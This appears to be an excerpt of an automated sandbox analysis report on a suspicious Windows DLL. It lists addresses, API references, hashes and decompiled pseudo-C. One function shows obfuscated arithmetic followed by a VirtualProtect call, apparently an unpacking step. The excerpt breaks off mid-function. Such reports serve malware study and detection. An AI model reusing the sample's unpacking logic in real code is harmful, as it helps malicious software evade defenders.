0x6e16d2fc
0x6e16d302
0x6e16d304
0x6e16d311
0x6e16d317
0x6e16d32f
0x6e16d337
0x6e16d33d
0x6e16d347
0x6e16d34d
0x6e16d35b
0x6e16d361
0x6e16d370
0x6e16d375
0x6e16d375
0x6e16d377
0x6e16d377
0x6e16d302
0x6e16d37c
0x6e16d380
0x6e16d394
0x6e16d39a
0x6e16d3a7
0x6e16d3b1
0x6e16d3b7
0x6e16d3bd
0x6e16d3ca
0x6e16d3d7
0x6e16d3df
0x6e16d3f2
0x6e16d3f2
0x6e16d3f8
0x6e16d3f8
0x6e16d40b
0x6e16d40e
0x6e16d412
0x6e16d416
0x6e16d41c
0x6e16d422
0x6e16d435
0x6e16d414
0x6e16d43c
0x6e16d445
0x6e16d445
0x6e16d44b
0x6e16d44b
0x6e16d457
0x6e16d468
0x6e16d46b
0x6e16d46f
0x6e16d48d
0x6e16d471
0x6e16d49c
0x6e16d49c
0x6e16d49f
0x6e16d49f
0x6e16d46f
0x6e16d4a4
0x6e16d4aa
0x6e16d4b0
0x6e16d4b2
0x6e16d4c1
0x6e16d4e3
0x6e16d4e9
0x6e16d4f6
0x6e16d4f6
0x6e16d4f8
0x6e16d4f8
0x6e16d4fe
0x6e16d506
0x6e16d50c
0x6e16d518
0x6e16d51e
0x6e16d520
0x6e16d530
0x6e16d530
0x6e16d541
0x6e16d547
0x6e16d568
0x6e16d56e
0x6e16d57d
0x6e16d57f
0x6e16d585
0x6e16d522
0x6e16d528
0x6e16d52e
0x00000000
0x00000000
0x6e16d52e
0x6e16d520
0x6e16d58b
0x6e16d593
0x6e16d599
0x6e16d5a4
0x6e16d5a6
0x6e16d5ab
0x6e16d5b1
0x6e16d5b5
0x6e16d65f
0x6e16d665
0x6e16d686
0x6e16d68b
0x6e16d6e2
0x6e16d6e8
0x6e16d6ee
0x6e16d6f4
0x6e16d703
0x6e16d709
0x6e16d709
0x6e16d70f
0x6e16d715
0x6e16d71a
0x6e16d68d
0x6e16d68d
0x6e16d69c
0x6e16d6a2
0x6e16d6b9
0x6e16d6bf
0x6e16d6c5
0x6e16d6c5
0x6e16d720
0x6e16d72c
0x6e16d733
0x6e16d739
0x6e16d740
0x6e16d742
0x6e16d748
0x6e16d754
0x6e16d757
0x6e16d75a
0x6e16d75f
0x6e16d765
0x6e16d76b
0x6e16d771
0x6e16d775
0x6e16d86c
0x6e16d86f
0x6e16d873
0x6e16d881
0x6e16d894
0x6e16d875
0x6e16d8a6
0x6e16d8a6
0x6e16d8a9
0x6e16d8a9
0x6e16d77b
0x6e16d783
0x6e16d78d
0x6e16d7a1
0x6e16d7b0
0x6e16d7b0
0x6e16d7b2
0x6e16d7b2
0x6e16d7be
0x6e16d7c1
0x6e16d7c9
0x6e16d7cf
0x6e16d7db
0x6e16d7e1
0x6e16d7e3
0x6e16d7f3
0x6e16d7f3
0x6e16d803
0x6e16d808
0x6e16d82a
0x6e16d830
0x6e16d83f
0x6e16d841
0x6e16d847
0x6e16d7e5
0x6e16d7eb
0x6e16d7f1
0x00000000
0x00000000
0x6e16d7f1
0x6e16d7e3
0x6e16d856
0x6e16d856
0x6e16d8af
0x6e16d8b9
0x6e16d8bf
0x6e16d8c2
0x6e16d8c7
0x00000000
0x6e16d5bb
0x6e16d5ce
0x6e16d5e6
0x6e16d5ed
0x6e16d5f0
0x6e16d5fb
0x6e16d601
0x6e16d603
0x6e16d611
0x6e16d632
0x6e16d638
0x6e16d641
0x6e16d641
0x6e16d647
0x6e16d647
0x6e16d64d
0x00000000
0x6e16d5b5
0x6e16d8d9
0x6e16d8e0
0x6e16d8e6
0x6e16d8eb
0x6e16d8ed
0x6e16d8f8
0x6e16d900
0x6e16d906
0x6e16d918
0x6e16d918
0x6e16d91c
0x00000000
0x00000000
0x6e16d92a
0x6e16d930
0x6e16d934
0x6e16d94c
0x6e16d962
0x6e16d979
0x6e16d979
0x6e16d912
0x6e16d912
0x6e16d915
0x6e16d915
0x6e16d981
0x6e16d98b
0x6e16d99c
0x6e16d9a2
0x6e16d9b4
0x6e16d9b9
0x6e16d9c8
0x6e16d9ce
0x6e16d9e4
0x6e16d9eb
0x6e16d9ee
0x6e16d9f2
0x6e16d9fb
0x6e16da01
0x6e16da0c
0x6e16da0d
0x6e16da13
0x6e16da19
0x6e16da1e
0x6e16da24
0x6e16da26
0x6e16da36
0x6e16da36
0x6e16da45
0x6e16da53
0x6e16da61
0x6e16da69
0x6e16da73
0x6e16da7f
0x6e16da88
0x6e16da88
0x6e16da8e
0x6e16da28
0x6e16da28
0x6e16da2e
0x6e16da34
0x00000000
0x00000000
0x6e16da34
0x6e16da26
0x6e16da9a
0x6e16daa1
0x6e16daa9
0x6e16daae
0x6e16dab7
0x6e16dab7
0x6e16dabd
0x6e16dac3
0x6e16db1f
0x6e16db23
0x6e16db2a
0x6e16db35
0x6e16db3a
0x6e16db40
0x6e16db4d
0x6e16db50
0x6e16db66
0x6e16db6c
0x6e16db72
0x6e16db77
0x6e16db7d
0x6e16db8f
0x00000000
0x6e16db7f
0x6e16db7f
0x6e16db85
0x6e16db8b
0x00000000
0x00000000
0x6e16db8d
0x6e16db8b
0x6e16dac5
0x6e16dac5
0x6e16dac7
0x6e16dada
0x6e16dadd
0x6e16dae1
0x6e16daf3
0x6e16daf3
0x6e16daf7
0x6e16db05
0x6e16db0b
0x6e16db11
0x6e16db18
0x00000000
0x6e16db13
0x6e16daea
0x6e16daed
0x6e16daed
0x6e16daf0
0x00000000
0x6e16daf0
0x6e16db11
0x6e16daf7
0x6e16dba0

APIs

GetTempPathA.KERNELBASE(0000070B,?,?,?,00000000), ref: 6E16BC22

Strings

v, xrefs: 6E16C08B
T, xrefs: 6E16CE63

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: PathTemp
String ID: T$v
API String ID: 2920410445-3699010257
Opcode ID: 38a5e1982149aa57d7c9b35b2b25fc8dc70c5e94bc5499a91ec9744ca0de15e7
Instruction ID: 8b4a500f056d12a0e83804984d15f26fbd32799f343af81fba59fa2a4fd40de3
Opcode Fuzzy Hash: 38a5e1982149aa57d7c9b35b2b25fc8dc70c5e94bc5499a91ec9744ca0de15e7
Instruction Fuzzy Hash: 8223F4B1D04A088FCB28CF69C5E0E7D7BB2FF8A304B50C169D56997A8DE7345984EB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E141EB0, Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 271
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6E141EB0(void* __esi, intOrPtr _a4, void* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t88;
				intOrPtr _t92;
				intOrPtr _t93;
				signed int _t96;
				signed int _t98;
				intOrPtr _t110;
				intOrPtr _t116;
				signed int _t124;
				intOrPtr _t126;
				signed int _t133;
				intOrPtr _t138;
				signed int _t145;
				intOrPtr _t152;
				signed int _t159;
				long _t162;
				intOrPtr _t163;
				signed int _t168;
				signed int _t178;
				signed int _t183;
				void* _t191;
				signed int _t192;
				signed int _t196;
				intOrPtr _t200;
				intOrPtr _t204;
				intOrPtr _t208;
				intOrPtr _t218;
				signed int _t223;
				signed int _t227;
				intOrPtr _t232;
				intOrPtr _t236;
				intOrPtr _t242;
				signed int _t247;
				intOrPtr _t256;
				void* _t266;
				void* _t273;

				_v8 = 0x35;
				_v20 = 0x3177;
				_v16 =  *0x6E1BB058;
				if(_v16 == 1) {
					_t88 =  *0x6e1bb0d8; // 0xf2b6e6
					_t152 =  *0x6e1bb000; // 0x5a2
					 *0x6e1bb000 = _t152 + _t88 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb000;
				} else {
					_t256 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6e1bb000 = _t256 + 5 -  *0x6e1bb008;
				}
				_t92 =  *0x6e1bb000; // 0x5a2
				_t266 = _t92 -  *0x6e1bb004; // 0x36cd9a35
				if(_t266 >= 0) {
					_t200 =  *0x6e1bb000; // 0x5a2
					 *0x6e1bb004 = _t200 + 5 - ( *0x6e1bb0d4 & 0x000000ff);
					 *0x6ED68BBD =  *0x6ED68BBD - ( *0x6e1bb0d4 & 0x000000ff);
					_t204 =  *0x6e1bb000; // 0x5a2
					 *0x6e1bb004 = _t204 + 5 - ( *0x6e1bb0d4 & 0x000000ff);
				}
				_t93 =  *0x6e1bb008; // 0x58226284
				 *0x6e1bb004 = _t93 + 5 - _v8;
				 *0x6e252c18 = _a8;
				_t208 = _a4;
				_t96 =  *0x6e1bb004; // 0x36cd9a35
				_t12 = _t208 - 0x18; // 0x36cd9a1d
				 *0x6e1bb008 = _t96 + _t12;
				 *0x6e1bb00c = 0;
				if( *0x6E1BB024 <= ( *0x6e1bb0d4 & 0x000000ff)) {
					_t192 =  *0x6e1bb004; // 0x36cd9a35
					 *0x6ED68BBD = _t192;
					_t145 =  *0x6e1bb004; // 0x36cd9a35
					_t16 = _t145 - 0xb401; // -46081
					 *0x6e1bb000 = ( *0x6e1bb0d4 & 0x000000ff) + _t16 +  *0x6e1bb000 +  *0x6e1bb000;
					 *0x6e1bb000 = ( *0x6e1bb0d4 & 0x000000ff) -  *0x6e1bb004 * 0x2f;
					_t196 =  *0x6e1bb004; // 0x36cd9a35
					 *0x6e1bb000 = _t196 - 0x48 - ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb000;
				}
				_t98 =  *0x6e1bb004; // 0x36cd9a35
				 *0x6e1bb008 = _t98 + 1 - _v8;
				 *0x6e1bb00c = 0;
				 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) + _v8 + _v8;
				_v36 =  *0x6E1BB0E0;
				_v32 =  *0x6E1BB0E4;
				if(_v36 != 1 || _v32 != 0) {
					_t159 =  *0x6e1bb004; // 0x36cd9a35
					 *0x6e1bb000 = _t159 + 5 - ( *0x6e1bb0d4 & 0x000000ff);
				} else {
					_t191 = ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb000;
					_t247 =  *0x6e1bb004; // 0x36cd9a35
					_t27 = _t191 - 0xb401; // 0x36cce634
					 *0x6e1bb000 = _t247 + _t27 +  *0x6e1bb000;
				}
				asm("cdq");
				 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb008 + _v8;
				_t162 =  *0x6e1bb0f4; // 0x41
				VirtualProtect( *0x6e252c18, _v20, _t162,  &_v28);
				_t163 =  *0x6e1bb000; // 0x5a2
				_t273 = _t163 -  *0x6e1bb0d8; // 0xf2b6e6
				if(_t273 >= 0) {
					_t242 =  *0x6e1bb000; // 0x5a2
					 *0x6e1bb0d8 = _t242 + 5 - _v8;
					 *0x6ED68BBD =  *0x6ED68BBD - _v8;
					_t138 =  *0x6e1bb000; // 0x5a2
					 *0x6e1bb0d8 = _t138 + 5 - _v8;
				}
				_t38 = ( *0x6e1bb0d4 & 0x000000ff) + 2; // 0x37
				_t218 =  *0x6e1bb008; // 0x58226284
				_t110 =  *0x6e1bb00c; // 0x0
				asm("sbb eax, ecx");
				 *0x6e1bb008 = _t218 - _v8 + _t38;
				 *0x6e1bb00c = _t110;
				_v12 = 0x1b;
				while(_v12 > 1) {
					if(_a4 !=  *((intOrPtr*)(0x6e1bb024))) {
						_t236 =  *0x6e1bb008; // 0x58226284
						_t133 =  *0x6e1bb004; // 0x36cd9a35
						 *0x6e1bb004 = _t133 + _t236 - 0x48 - _a4;
						 *((intOrPtr*)(0x6e1bb010 + _v12 * 4)) =  *((intOrPtr*)(0x6e1bb010 + _v12 * 4)) + _a4;
						_t183 =  *0x6e1bb004; // 0x36cd9a35
						 *0x6e1bb008 = _t183 + 5 - _a4;
						 *0x6e1bb00c = 0;
					}
					_v12 = _v12 - 1;
				}
				_t57 = _v8 - 0x18; // 0x1d
				 *0x6e1bb0d4 = _v8 + _t57;
				asm("cdq");
				 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb008 + _v8;
				_v24 =  *((intOrPtr*)(0x6e1bb058));
				if(_v24 == 1) {
					_t116 =  *0x6e1bb008; // 0x58226284
					_t168 =  *0x6e1bb004; // 0x36cd9a35
					 *0x6e1bb004 = _t168 + _t116 - 0xb401 + _a4 +  *0x6e1bb004;
				} else {
					_t232 =  *0x6e1bb008; // 0x58226284
					 *0x6e1bb004 = _t232 + 5 - _a4;
				}
				 *0x6e1bb0d4 = _v8 * 0x268e + ( *0x6e1bb0d4 & 0x000000ff);
				 *0x6e1bb004 = GetWindowsDirectoryA("C:\\Windows", 0x70b);
				_v12 = 0x1b;
				while(_v12 > 1) {
					if(_a4 !=  *((intOrPtr*)(0x6e1bb024))) {
						_t126 =  *0x6e1bb008; // 0x58226284
						_t178 =  *0x6e1bb004; // 0x36cd9a35
						 *0x6e1bb004 = _t178 + _t126 - 0x48 - _a4;
						 *((intOrPtr*)(0x6e1bb010 + _v12 * 4)) =  *((intOrPtr*)(0x6e1bb010 + _v12 * 4)) + _a4;
						_t227 =  *0x6e1bb004; // 0x36cd9a35
						 *0x6e1bb008 = _t227 + 5 - _a4;
						 *0x6e1bb00c = 0;
					}
					_v12 = _v12 - 1;
				}
				_push( *0x6e252c18);
				_t83 = ( *0x6e1bb0d4 & 0x000000ff) + _v8 - 0xb401; // -46028
				_t124 = _v8 + _t83 + _v8;
				_v8 = _t124;
				_t223 =  *0x6e1bb004; // 0x36cd9a35
				 *0x6e1bb004 = _t223 + _a4 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb004;
				return _t124;
			}

0x6e141eb7
0x6e141ebe
0x6e141ed3
0x6e141eda
0x6e141ede
0x6e141ef4
0x6e141efc
0x6e141edc
0x6e141f04
0x6e141f13
0x6e141f13
0x6e141f19
0x6e141f1e
0x6e141f24
0x6e141f26
0x6e141f38
0x6e141f5d
0x6e141f63
0x6e141f75
0x6e141f75
0x6e141f7b
0x6e141f86
0x6e141f8e
0x6e141f94
0x6e141f97
0x6e141f9c
0x6e141fa2
0x6e141fa8
0x6e141fc3
0x6e141fcc
0x6e141fd2
0x6e141fdf
0x6e141fe4
0x6e141ff7
0x6e14200d
0x6e142013
0x6e14202b
0x6e14202b
0x6e142031
0x6e14203e
0x6e142043
0x6e142056
0x6e14206a
0x6e142073
0x6e14207a
0x6e1420ab
0x6e1420bd
0x6e142084
0x6e14208b
0x6e142091
0x6e142097
0x6e1420a4
0x6e1420a4
0x6e1420ca
0x6e1420d4
0x6e1420dd
0x6e1420ee
0x6e1420f4
0x6e1420fa
0x6e142100
0x6e142102
0x6e14210e
0x6e14212d
0x6e142133
0x6e14213e
0x6e14213e
0x6e14214d
0x6e142153
0x6e14215b
0x6e142160
0x6e142162
0x6e142168
0x6e14216d
0x6e14217f
0x6e142196
0x6e14219a
0x6e1421a6
0x6e1421ad
0x6e1421c2
0x6e1421c9
0x6e1421d7
0x6e1421dd
0x6e1421dd
0x6e14217c
0x6e14217c
0x6e1421eb
0x6e1421ef
0x6e1421fc
0x6e142206
0x6e142219
0x6e142220
0x6e142224
0x6e142237
0x6e14223f
0x6e142222
0x6e142247
0x6e142253
0x6e142253
0x6e142269
0x6e14227e
0x6e142283
0x6e142295
0x6e1422ac
0x6e1422b0
0x6e1422bb
0x6e1422c3
0x6e1422d9
0x6e1422e0
0x6e1422ee
0x6e1422f4
0x6e1422f4
0x6e142292
0x6e142292
0x6e1422fb
0x6e14230e
0x6e142315
0x6e142318
0x6e142330
0x6e142338
0x6e14233e

APIs

VirtualProtect.KERNELBASE(6E1BD308,00003177,00000041,0000002F,00000001), ref: 6E1420EE
GetWindowsDirectoryA.KERNEL32(6E1BBF88,0000070B), ref: 6E142278

Strings

w1, xrefs: 6E141EBE
5, xrefs: 6E141EB7

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryProtectVirtualWindows
String ID: 5$w1
API String ID: 2764058431-3897939640
Opcode ID: 10ea00958259e0048eab59146fbbcd15a1886c3411120a9e25f2134ca6c64684
Instruction ID: f1f73fda7fa7373b1b4d1748645714a7ff61d827bc768d9fa6534f3787e3e9ad
Opcode Fuzzy Hash: 10ea00958259e0048eab59146fbbcd15a1886c3411120a9e25f2134ca6c64684
Instruction Fuzzy Hash: 83D103B0A04A08DFCB28CF69C6D0E6C7BB1FF8A304B94C159E56597B49D7309A85EB44

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C3CB, Relevance: 6.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E18C3CB(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v40;
				signed int _v52;
				char _v252;
				short _v292;
				void* _t34;
				short* _t35;
				intOrPtr* _t36;
				void* _t39;
				signed short* _t44;
				intOrPtr _t47;
				void* _t49;
				signed int _t52;
				signed int _t58;
				signed int _t60;
				signed int _t66;
				void* _t68;
				void* _t71;
				void* _t76;
				void* _t80;
				intOrPtr _t87;
				short* _t89;
				void* _t90;
				void* _t92;
				signed int _t94;
				void* _t95;
				intOrPtr* _t98;
				void* _t112;
				void* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				signed int* _t122;
				intOrPtr* _t125;
				signed short _t127;
				int _t129;
				signed int _t132;
				void* _t133;
				signed int _t134;

				_push(__ecx);
				_push(__ecx);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t34 = E6E17FA06(__ebx, __ecx, __edx);
				_t87 = _a4;
				_t94 = 0;
				_v12 = 0;
				_t3 = _t34 + 0x50; // 0x50
				_t125 = _t3;
				_t4 = _t125 + 0x250; // 0x2a0
				_t35 = _t4;
				 *((intOrPtr*)(_t125 + 8)) = 0;
				 *_t35 = 0;
				_t6 = _t125 + 4; // 0x54
				_t118 = _t6;
				_v8 = _t35;
				_t36 = _t87 + 0x80;
				 *_t125 = _t87;
				 *_t118 = _t36;
				if( *_t36 != 0) {
					E6E18C35C(0x6e1b1530, 0x16, _t118);
					_t133 = _t133 + 0xc;
					_t94 = 0;
				}
				_push(_t125);
				if( *((intOrPtr*)( *_t125)) == _t94) {
					E6E18BCCD(_t87, _t94, _t118, __eflags); // executed
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t118)) == _t94) {
						E6E18BDF0();
					} else {
						E6E18BD56(_t94);
					}
					_pop(_t95);
					if( *((intOrPtr*)(_t125 + 8)) == 0) {
						_t80 = E6E18C35C(0x6e1b1220, 0x40, _t125);
						_t133 = _t133 + 0xc;
						if(_t80 != 0) {
							_push(_t125);
							if( *((intOrPtr*)( *_t118)) == 0) {
								E6E18BDF0();
							} else {
								E6E18BD56(0);
							}
							L12:
							_pop(_t95);
						}
					}
				}
				if( *((intOrPtr*)(_t125 + 8)) == 0) {
					L31:
					_t39 = 0;
					__eflags = 0;
					goto L32;
				} else {
					_t127 = E6E18C22A(_t95, _t87 + 0x100, _t125);
					if(_t127 == 0 || _t127 == 0xfde8 || _t127 == 0xfde9 || IsValidCodePage(_t127 & 0x0000ffff) == 0) {
						goto L31;
					} else {
						_t44 = _a8;
						if(_t44 != 0) {
							 *_t44 = _t127;
						}
						_t121 = _a12;
						if(_t121 == 0) {
							L30:
							_t39 = 1;
							goto L32;
						} else {
							_t98 = _v8;
							_t15 = _t121 + 0x120; // 0x6e181a95
							_t89 = _t15;
							 *_t89 = 0;
							_t116 = _t98 + 2;
							do {
								_t47 =  *_t98;
								_t98 = _t98 + 2;
							} while (_t47 != _v12);
							_t100 = _t98 - _t116 >> 1;
							_push((_t98 - _t116 >> 1) + 1);
							_t49 = E6E18BC2D(_t98 - _t116 >> 1, _t89, 0x55, _v8);
							_t134 = _t133 + 0x10;
							_t153 = _t49;
							if(_t49 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E6E178956();
								asm("int3");
								_t132 = _t134;
								_t52 =  *0x6e1bb164; // 0x55e3ddbb
								_v52 = _t52 ^ _t132;
								_push(_t89);
								_push(_t127);
								_push(_t121);
								_t90 = E6E17FA06(_t89, _t100, _t116);
								_t122 =  *(E6E17FA06(_t90, _t100, _t116) + 0x34c);
								_t129 = E6E18CADE(_v40);
								asm("sbb ecx, ecx");
								_t58 = GetLocaleInfoW(_t129, ( ~( *(_t90 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								__eflags = _t58;
								if(_t58 != 0) {
									_t60 = E6E1882D0(_t90, _t122, _t129,  *((intOrPtr*)(_t90 + 0x54)),  &_v252);
									__eflags = _t60;
									if(_t60 == 0) {
										_t66 = E6E18CC12(_t129);
										__eflags = _t66;
										if(_t66 != 0) {
											 *_t122 =  *_t122 | 0x00000004;
											__eflags =  *_t122;
											_t122[2] = _t129;
											_t122[1] = _t129;
										}
									}
									__eflags =  !( *_t122 >> 2) & 0x00000001;
								} else {
									 *_t122 =  *_t122 & _t58;
								}
								__eflags = _v12 ^ _t132;
								return E6E173D51(_v12 ^ _t132);
							} else {
								_t68 = E6E183961(_t100, _t127, _t153, _t89, 0x1001, _t121, 0x40);
								_t154 = _t68;
								if(_t68 == 0) {
									goto L31;
								} else {
									_t20 = _t121 + 0x80; // 0x6e1819f5
									_t92 = _t20;
									_t21 = _t121 + 0x120; // 0x6e181a95
									if(E6E183961(_t100, _t127, _t154, _t21, 0x1002, _t92, 0x40) == 0) {
										goto L31;
									} else {
										_push(0x5f);
										_t71 = E6E18F97B(_t100);
										_t112 = _t92;
										if(_t71 != 0) {
											L28:
											_t22 = _t121 + 0x120; // 0x6e181a95
											if(E6E183961(_t112, _t127, _t157, _t22, 7, _t92, 0x40) == 0) {
												goto L31;
											} else {
												goto L29;
											}
										} else {
											_push(0x2e);
											_t76 = E6E18F97B(_t112);
											_t112 = _t92;
											_t157 = _t76;
											if(_t76 == 0) {
												L29:
												_t23 = _t121 + 0x100; // 0x6e181a75
												E6E18E65A(_t112, _t127, _t23, 0x10, 0xa);
												goto L30;
											} else {
												goto L28;
											}
										}
									}
								}
								L32:
								return _t39;
							}
						}
					}
				}
			}

0x6e18c3d0
0x6e18c3d1
0x6e18c3d2
0x6e18c3d3
0x6e18c3d4
0x6e18c3d5
0x6e18c3da
0x6e18c3dd
0x6e18c3df
0x6e18c3e2
0x6e18c3e2
0x6e18c3e5
0x6e18c3e5
0x6e18c3eb
0x6e18c3ee
0x6e18c3f1
0x6e18c3f1
0x6e18c3f4
0x6e18c3f7
0x6e18c3fd
0x6e18c3ff
0x6e18c404
0x6e18c40e
0x6e18c413
0x6e18c416
0x6e18c416
0x6e18c41a
0x6e18c41e
0x6e18c467
0x00000000
0x6e18c420
0x6e18c425
0x6e18c42e
0x6e18c427
0x6e18c427
0x6e18c427
0x6e18c435
0x6e18c439
0x6e18c443
0x6e18c448
0x6e18c44d
0x6e18c453
0x6e18c457
0x6e18c460
0x6e18c459
0x6e18c459
0x6e18c459
0x6e18c46c
0x6e18c46c
0x6e18c46c
0x6e18c44d
0x6e18c439
0x6e18c472
0x6e18c584
0x6e18c584
0x6e18c584
0x00000000
0x6e18c478
0x6e18c485
0x6e18c48b
0x00000000
0x6e18c4bb
0x6e18c4bb
0x6e18c4c0
0x6e18c4c2
0x6e18c4c2
0x6e18c4c4
0x6e18c4c9
0x6e18c57f
0x6e18c581
0x00000000
0x6e18c4cf
0x6e18c4cf
0x6e18c4d2
0x6e18c4d2
0x6e18c4da
0x6e18c4dd
0x6e18c4e0
0x6e18c4e0
0x6e18c4e3
0x6e18c4e6
0x6e18c4ee
0x6e18c4f3
0x6e18c4fa
0x6e18c4ff
0x6e18c502
0x6e18c504
0x6e18c58f
0x6e18c590
0x6e18c591
0x6e18c592
0x6e18c593
0x6e18c594
0x6e18c599
0x6e18c59d
0x6e18c5a5
0x6e18c5ac
0x6e18c5af
0x6e18c5b0
0x6e18c5b4
0x6e18c5ba
0x6e18c5c2
0x6e18c5d1
0x6e18c5dd
0x6e18c5ee
0x6e18c5f4
0x6e18c5f6
0x6e18c607
0x6e18c60e
0x6e18c610
0x6e18c613
0x6e18c619
0x6e18c61b
0x6e18c61d
0x6e18c61d
0x6e18c620
0x6e18c623
0x6e18c623
0x6e18c61b
0x6e18c62d
0x6e18c5f8
0x6e18c5f8
0x6e18c5fa
0x6e18c635
0x6e18c640
0x6e18c50a
0x6e18c513
0x6e18c518
0x6e18c51a
0x00000000
0x6e18c51c
0x6e18c51e
0x6e18c51e
0x6e18c52a
0x6e18c538
0x00000000
0x6e18c53a
0x6e18c53a
0x6e18c53d
0x6e18c543
0x6e18c546
0x6e18c556
0x6e18c55b
0x6e18c569
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18c548
0x6e18c548
0x6e18c54b
0x6e18c551
0x6e18c552
0x6e18c554
0x6e18c56b
0x6e18c56f
0x6e18c577
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18c554
0x6e18c546
0x6e18c538
0x6e18c586
0x6e18c58c
0x6e18c58c
0x6e18c504
0x6e18c4c9
0x6e18c48b

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6E181975,?,?,?,?,6E18142E,?,00000004), ref: 6E18C4AD
_wcschr.LIBVCRUNTIME ref: 6E18C53D
_wcschr.LIBVCRUNTIME ref: 6E18C54B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6E181975,00000000,6E181A95), ref: 6E18C5EE

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: e7c9143e1a58fef99fb5788a01d870b873a61401d314979c6e2f29d7546555e3
Instruction ID: 48ff246217fc4e6e5049f35754cbc6708968a1736200eeb73dfef51800b97211
Opcode Fuzzy Hash: e7c9143e1a58fef99fb5788a01d870b873a61401d314979c6e2f29d7546555e3
Instruction Fuzzy Hash: DD61D471A00206AAEB14DEF5DC51EE773ACEF15744F214A2AE915DB280EB30D9C0EF61

Uniqueness

Uniqueness Score: -1.00%

Function 6E18207B, Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 338
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6E18207B(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				void** _v32;
				struct _STARTUPINFOW* _v48;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				signed int _v708;
				short _v710;
				signed int* _v712;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				signed int* _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				short _v802;
				char _v852;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t167;
				void* _t174;
				signed int _t175;
				signed int _t176;
				intOrPtr _t177;
				signed int _t180;
				signed int _t184;
				signed int* _t185;
				struct _STARTUPINFOW* _t187;
				signed int _t191;
				void** _t192;
				signed int _t198;
				signed int _t201;
				signed int _t202;
				signed int _t204;
				signed int _t224;
				signed int _t225;
				signed int _t228;
				signed int _t233;
				signed int _t236;
				LPWSTR* _t238;
				intOrPtr* _t244;
				intOrPtr* _t245;
				void* _t256;
				signed int _t260;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t266;
				signed int* _t270;
				void* _t278;
				signed char _t279;
				signed int _t281;
				signed int _t282;
				intOrPtr _t284;
				signed int _t286;
				signed int _t291;
				signed int _t293;
				signed int _t295;
				signed int _t299;
				signed int* _t300;
				intOrPtr* _t301;
